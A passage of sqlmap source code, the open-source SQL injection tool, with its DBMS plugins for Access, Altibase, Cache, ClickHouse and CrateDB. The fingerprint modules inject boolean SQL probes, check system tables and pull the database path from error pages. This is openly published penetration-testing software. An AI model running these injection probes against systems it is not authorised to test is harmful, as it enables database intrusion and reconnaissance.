pyodbc.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/access/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Microsoft Access it is not possible to get the banner" logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" logger.warning(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" logger.warning(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" logger.warning(warnMsg) def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Microsoft Access it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/access/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/access/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getCurrentThreadData from lib.core.common import randomStr from lib.core.common import wasLastResponseDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ACCESS_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ACCESS) def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None if Backend.isVersionWithin(("97", "2000")): table = "MSysAccessObjects" elif Backend.isVersionWithin(("2002-2003", "2007")): table = "MSysAccessStorage" if table is not None: result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) retVal = "not sandboxed" if result else "sandboxed" return retVal def _sysTablesCheck(self): infoMsg = "executing system table(s) existence fingerprint" logger.info(infoMsg) # Microsoft Access table reference updated on 01/2010 sysTables = { "97": ("MSysModules2", "MSysAccessObjects"), "2000": ("!MSysModules2", "MSysAccessObjects"), "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"), } # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") for version, tables in sysTables.items(): exist = True for table in tables: negate = False if table[0] == '!': negate = True table = table[1:] result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE [RANDNUM]=[RANDNUM])" % table) if result is None: result = False if negate: result = not result exist &= result if not exist: break if exist: return version return None def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) randStr = randomStr() inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr)) if wasLastResponseDBMSError(): threadData = getCurrentThreadData() match = re.search(r"Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) if retVal.endswith('\\'): retVal = retVal[:-1] return retVal def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ACCESS return value actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: if re.search(r"-log$", kb.data.banner or ""): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\ndatabase directory: '%s'" % self._getDatabaseDir() return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True infoMsg = "testing %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("VAL(CVAR(1))=1") if result: infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("IIF(ATN(2) IS NOT NULL,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warning(warnMsg) return False setDbms(DBMS.ACCESS) if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warning(warnMsg) return False def forceDbmsEnum(self): conf.db = ("%s%s" % (DBMS.ACCESS, METADB_SUFFIX)).replace(' ', '_') ================================================ FILE: plugins/dbms/access/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)&CHR(98)&CHR(99)&CHR(100)&CHR(101)&CHR(102)&CHR(103)&CHR(104) FROM foobar" True """ def escaper(value): return "&".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/access/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/altibase/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ALTIBASE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.altibase.enumeration import Enumeration from plugins.dbms.altibase.filesystem import Filesystem from plugins.dbms.altibase.fingerprint import Fingerprint from plugins.dbms.altibase.syntax import Syntax from plugins.dbms.altibase.takeover import Takeover from plugins.generic.misc import Miscellaneous class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Altibase methods """ def __init__(self): self.excludeDbsList = ALTIBASE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.ALTIBASE] = Syntax.escape ================================================ FILE: plugins/dbms/altibase/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on Altibase it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/altibase/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getStatements(self): warnMsg = "on Altibase it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] def getHostname(self): warnMsg = "on Altibase it is not possible to enumerate the hostname" logger.warning(warnMsg) ================================================ FILE: plugins/dbms/altibase/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/altibase/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ALTIBASE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ALTIBASE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ALTIBASE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES): setDbms(DBMS.ALTIBASE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ALTIBASE logger.info(infoMsg) # Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228 result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.ALTIBASE logger.info(infoMsg) result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE logger.warning(warnMsg) return False setDbms(DBMS.ALTIBASE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/altibase/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True """ def escaper(value): return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/altibase/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Altibase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Altibase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Altibase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Altibase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/cache/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import CACHE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.cache.enumeration import Enumeration from plugins.dbms.cache.filesystem import Filesystem from plugins.dbms.cache.fingerprint import Fingerprint from plugins.dbms.cache.syntax import Syntax from plugins.dbms.cache.takeover import Takeover from plugins.generic.misc import Miscellaneous class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Cache methods """ def __init__(self): self.excludeDbsList = CACHE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.CACHE] = Syntax.escape ================================================ FILE: plugins/dbms/cache/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import jaydebeapi import jpype except: pass import logging from lib.core.common import checkFile from lib.core.common import getSafeExString from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html API: - Debian package: - License: LGPL & Apache License 2.0 """ def connect(self): self.initConnection() try: msg = "please enter the location of 'cachejdbc.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar jvm_path = jpype.getDefaultJVMPath() jpype.startJVM(jvm_path, args) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) try: driver = 'com.intersys.jdbc.CacheDriver' connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except Exception as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except Exception as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() return retVal def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/cache/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.settings import CACHE_DEFAULT_SCHEMA from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getCurrentDb(self): return CACHE_DEFAULT_SCHEMA def getUsers(self): warnMsg = "on Cache it is not possible to enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Cache it is not possible to enumerate password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Cache it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on Cache it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] def getRoles(self, *args, **kwargs): warnMsg = "on Cache it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Cache it is not possible to enumerate the hostname" logger.warning(warnMsg) ================================================ FILE: plugins/dbms/cache/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/cache/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import CACHE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.CACHE) def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"): fork = FORK.IRIS else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.CACHE if fork: value += " (%s fork)" % fork return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES): setDbms(DBMS.CACHE) self.getBanner() return True infoMsg = "testing %s" % DBMS.CACHE logger.info(infoMsg) result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.CACHE logger.info(infoMsg) result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE logger.warning(warnMsg) return False setDbms(DBMS.CACHE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/cache/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" True """ def escaper(value): return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/cache/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Cache it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Cache it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Cache it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Cache it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/clickhouse/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import CLICKHOUSE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.clickhouse.enumeration import Enumeration from plugins.dbms.clickhouse.filesystem import Filesystem from plugins.dbms.clickhouse.fingerprint import Fingerprint from plugins.dbms.clickhouse.syntax import Syntax from plugins.dbms.clickhouse.takeover import Takeover from plugins.generic.misc import Miscellaneous class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines ClickHouse methods """ def __init__(self): self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.CLICKHOUSE] = Syntax.escape ================================================ FILE: plugins/dbms/clickhouse/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): pass ================================================ FILE: plugins/dbms/clickhouse/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on ClickHouse it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on ClickHouse it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} ================================================ FILE: plugins/dbms/clickhouse/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on ClickHouse it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on ClickHouse it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/clickhouse/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import CLICKHOUSE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.CLICKHOUSE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): setDbms(DBMS.CLICKHOUSE) self.getBanner() return True infoMsg = "testing %s" % DBMS.CLICKHOUSE logger.info(infoMsg) result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") if result: infoMsg = "confirming %s" % DBMS.CLICKHOUSE logger.info(infoMsg) result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE logger.warning(warnMsg) return False setDbms(DBMS.CLICKHOUSE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/clickhouse/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" True """ def escaper(value): return "||".join("char(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/clickhouse/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on ClickHouse it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on ClickHouse it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on ClickHouse it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on ClickHouse it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/cratedb/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import CRATEDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.cratedb.enumeration import Enumeration from plugins.dbms.cratedb.filesystem import Filesystem from plugins.dbms.cratedb.fingerprint import Fingerprint from plugins.dbms.cratedb.syntax import Syntax from plugins.dbms.cratedb.takeover import Takeover from plugins.generic.misc import Miscellaneous class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines CrateDB methods """ def __init__(self): self.excludeDbsList = CRATEDB_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.CRATEDB] = Syntax.escape ================================================ FILE: plugins/dbms/cratedb/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import psycopg2 import psycopg2.extensions psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) except: pass from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://initd.org/psycopg/ User guide: http://initd.org/psycopg/docs/ API: http://initd.org/psycopg/docs/genindex.html Debian package: python-psycopg2 License: GPL Possible connectors: http://wiki.python.org/moin/PostgreSQL """ def connect(self): self.initConnection() try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) except psycopg2.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except psycopg2.ProgrammingError as ex: logger.warning(getSafeExString(ex)) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal ================================================ FILE: plugins/dbms/cratedb/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on CrateDB it 